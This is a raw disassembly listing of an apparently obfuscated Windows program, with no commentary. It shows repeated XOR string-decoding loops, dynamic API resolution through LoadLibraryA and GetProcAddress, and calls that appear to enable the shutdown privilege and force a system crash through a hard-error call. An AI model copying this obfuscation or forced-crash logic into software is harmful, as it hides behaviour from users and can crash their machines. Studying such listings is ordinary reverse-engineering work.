movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x13c]
xorps xmm2, xmm1
movd dword [rbp + 0x13c], xmm2
jmp 0x140044843
lea r9, [rbp + 0x138]
mov r8d, esi
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140044810
movaps xmm3, xmm11
subss xmm3, dword [0x140116050]
mov r8d, r11d
mov rdx, r10
lea rcx, [rbp + 0x138]
call fcn.140040690
movaps xmm6, xmm11
subss xmm6, dword [0x140116040]
movsd xmm0, qword [str.uXSUHXP._C]
movsd qword [rbp + 0x150], xmm0
mov eax, dword [0x140115c70]
mov dword [rbp + 0x158], eax
cmp byte [0x140115c73], 0
je 0x1400449f3
mov r8d, esi
cmp r15d, 2
jl 0x1400449b3
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.uXSUHXP._C]
xorps xmm2, xmm0
movd dword [rbp + 0x150], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x154]
xorps xmm2, xmm1
movd dword [rbp + 0x154], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x150]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400449c0
lea rcx, [rbp + 0x150]
mov rax, r14
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140044a00
lea r13, [0x14016b388]
mov rcx, r13
mov rdi, qword [0x14016b388]
mov r12, qword [reloc.WS2_32.dll_ntohs]
cmp r12, 0xf
cmova rcx, rdi
mov rbx, qword [0x14016b398]
cmp rbx, rax
jne 0x140044a62
mov r8, rbx
lea rdx, [rbp + 0x150]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140044a62
movaps xmm0, xmmword [0x140116200]
movups xmmword [rbp + 0xa08], xmm0
lea rcx, [rbp + 0xa08]
jmp 0x140044c49
mov rax, qword [str.lIOUSY__t]
mov qword [rbp + 0x130], rax
cmp byte [0x140115baf], 0
je 0x140044bd3
cmp r15d, 2
jl 0x140044b93
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x130]
xorps xmm2, xmm1
movd dword [rbp + 0x130], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x134]
xorps xmm2, xmm1
movd dword [rbp + 0x134], xmm2
jmp 0x140044bd3
lea r9, [rbp + 0x130]
mov r8d, esi
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140044ba0
lea rcx, [rbp + 0x130]
mov rax, r14
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140044be0
mov rcx, r13
cmp r12, 0xf
cmova rcx, rdi
cmp rbx, rax
jne 0x140044c23
mov r8, rbx
lea rdx, [rbp + 0x130]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140044c23
movaps xmm0, xmmword [0x140116210]
movups xmmword [rbp + 0xa18], xmm0
lea rax, [rbp + 0xa18]
jmp 0x140044c38
movaps xmm0, xmmword [0x140116230]
movups xmmword [rbp + 0xa28], xmm0
lea rax, [rbp + 0xa28]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa38], xmm0
lea rcx, [rbp + 0xa38]
call fcn.1400047d0
mov r8d, eax
cmp r12, 0xf
jbe 0x140044c6d
mov ecx, dword [str.kmoin_]
mov dword [rbp - 0x30], ecx
movzx ecx, word [0x140115a24]
mov word [rbp - 0x2c], cx
jmp 0x140044c84
mov eax, dword [str.kmoin_]
mov dword [rbp - 0x30], eax
movzx eax, word [0x140115a24]
mov word [rbp - 0x2c], ax
mov rdi, r13
movzx ecx, byte [0x140115a26]
mov byte [rbp - 0x30], 0x53
xor byte [rbp - 0x2f], 0x39
xor byte [rbp - 0x2e], 0x3a
xor byte [rbp - 0x2d], 0x3b
xor byte [rbp - 0x2c], 0x3c
xor byte [rbp - 0x2b], 0x3d
xor cl, 0x3e
mov byte [rbp - 0x2a], cl
movaps xmm3, xmm6
mov rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.140040690
mov rcx, qword [0x14016c730]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mulss xmm13, xmm12
subss xmm13, dword [0x140116038]
addss xmm1, xmm13
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
subss xmm11, dword [0x140116020]
addss xmm0, xmm11
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
mov dword [rbp + 0x380], 0x43960000
mov dword [rbp + 0x384], 0x42700000
mov eax, dword [0x140115a18]
mov dword [rbp + 0x88], eax
movzx ecx, word [0x140115a1c]
mov word [rbp + 0x8c], cx
movzx eax, byte [0x140115a1e]
mov byte [rbp + 0x88], Ordinal_79
xor byte [rbp + 0x89], 0x39
xor byte [rbp + 0x8a], 0x3a
xor byte [rbp + 0x8b], 0x3b
xor cl, 0x3c
mov byte [rbp + 0x8c], cl
xor byte [rbp + 0x8d], 0x3d
xor al, 0x3e
mov byte [rbp + 0x8e], al
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x88]
call fcn.140030570
test al, al
je 0x14004aebf
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r13, qword [0x14016b388]
mov r8, qword [0x14016b398]
cmp r8, 0xb
jne 0x140045160
lea rdx, str.Maintenance
mov rcx, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140045160
movsd xmm0, qword [str.kQ_IWxFZ46_6E]
movsd qword [rbp + 0x1c0], xmm0
mov eax, dword [0x140115330]
mov dword [rbp + 0x1c8], eax
movzx eax, word [0x140115334]
mov word [rbp + 0x1cc], ax
cmp byte [0x140115335], 0
je 0x140044f83
mov r8d, esi
cmp r15d, 2
jl 0x140044f36
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kQ_IWxFZ46_6E]
xorps xmm2, xmm0
movd dword [rbp + 0x1c0], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c4]
xorps xmm2, xmm1
movd dword [rbp + 0x1c4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1c0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140044f50
movups xmm0, xmmword [str.oXSO]
movups xmmword [rbp + 0x568], xmm0
mov eax, dword [0x140115c20]
mov dword [rbp + 0x578], eax
cmp byte [0x140115c23], 0
je 0x14004513f
cmp r15d, 2
jl 0x1400450fa
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x56c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x140044ff0
cmp eax, 0x14
jge 0x14004513f
movsxd rax, esi
lea r8, [rbp + 0x568]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x14
jl 0x140045110
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x1c0]
lea rdx, [rbp + 0x568]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004aec4
movsd xmm0, qword [str.TXIOcHN__5C]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x140115c60]
mov dword [rbp + 0x148], eax
cmp byte [0x140115c63], 0
je 0x1400452f3
mov r8d, esi
cmp r15d, 2
jl 0x1400452a6
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.TXIOcHN__5C]
xorps xmm2, xmm0
movd dword [rbp + 0x140], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x144]
xorps xmm2, xmm1
movd dword [rbp + 0x144], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x140]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400452c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x7d8], xmm0
mov qword [rbp + 0x7e8], rsi
mov qword [rbp + 0x7f0], rsi
lea rax, [rbp + 0x140]
inc r14
cmp byte [rax + r14], 0
jne 0x140045312
mov r8, r14
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x7d8]
call fcn.14004f2f0
lea r8, [rbp + 0x7d8]
lea rdx, [rbp + 0x938]
lea rcx, [0x14016cae0]
call fcn.1400707c0
mov rbx, qword [rax + 0x10]
mov rdx, qword [rbp + 0x950]
cmp rdx, 0xf
jbe 0x140045391
inc rdx
mov rcx, qword [rbp + 0x938]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004538c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ab5e
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160e0]
movdqu xmmword [rbp + 0x948], xmm0
mov byte [rbp + 0x938], 0
test rbx, rbx
jne 0x1400457f7
movsd xmm0, qword [str.VMWP]
movsd qword [rbp - 0x18], xmm0
movzx eax, word [0x140115e98]
mov word [rbp - 0x10], ax
lea rcx, [rbp - 0x18]
cmp byte [0x140115e99], bl
je 0x140045423
mov byte [rbp - 0x18], WSASetLastError
xor byte [rbp - 0x17], 0x39
xor byte [rbp - 0x16], 0x3a
xor byte [rbp - 0x15], 0x3b
xor byte [rbp - 0x14], 0x3c
xor byte [rbp - 0x13], 0x3d
xor byte [rbp - 0x12], 0x3e
xor byte [rbp - 0x11], 0x3f
xor byte [rbp - 0x10], 0x40
xor byte [rbp - 0xf], 0x41
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
movzx eax, word [0x1401152a8]
mov word [rbp + 0x290], ax
movzx eax, byte [0x1401152aa]
mov byte [rbp + 0x292], al
jmp 0x140045447
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
movzx ecx, word [0x1401152a8]
mov word [rbp + 0x290], cx
movzx ecx, byte [0x1401152aa]
mov byte [rbp + 0x292], cl
movups xmm0, xmmword [str.jMVzXWKL4]
movups xmmword [rbp + 0x280], xmm0
mov r8d, esi
cmp r15d, 2
jl 0x1400455ad
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x284]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400454a0
cmp r8d, 0x13
jge 0x1400455f3
movsxd rax, r8d
lea r9, [rbp + 0x280]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400455c0
lea rdx, [rbp + 0x280]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp + 0xd88]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rax
test eax, eax
jne 0x14004aec4
movups xmm0, xmmword [str.vMhZUN_w_3]
movups xmmword [rbp + 0x4e0], xmm0
movzx eax, byte [0x140115b50]
mov byte [rbp + 0x4f0], al
cmp r15d, 2
jl 0x14004577d
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x4e4]
mov edx, dword [rsp + 0x50]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x140045673
cmp eax, 0x11
jge 0x1400457bf
movsxd rax, esi
lea r8, [rbp + 0x4e0]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x11
jl 0x140045790
lea rdx, [rbp + 0x4e0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp + 0xe10]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000002
call rax
jmp 0x14004aec4
call fcn.140040a90
mov edi, eax
test eax, eax
jne 0x140045b80
movsd xmm0, qword [str.kQ_IWxFZ46_6E]
movsd qword [rbp + 0x1d0], xmm0
mov eax, dword [0x140115330]
mov dword [rbp + 0x1d8], eax
movzx eax, word [0x140115334]
mov word [rbp + 0x1dc], ax
cmp byte [0x140115335], dil
je 0x1400459a3
mov r8d, esi
cmp r15d, 2
jl 0x14004595a
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kQ_IWxFZ46_6E]
xorps xmm2, xmm0
movd dword [rbp + 0x1d0], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1d4]
xorps xmm2, xmm1
movd dword [rbp + 0x1d4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1d0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140045970
movups xmm0, xmmword [str.wI_U]
movups xmmword [rbp + 0x538], xmm0
movzx eax, word [0x140115ab8]
mov word [rbp + 0x548], ax
cmp byte [0x140115ab9], 0
je 0x140045b5f
cmp r15d, 2
jl 0x140045b1a
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x53c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
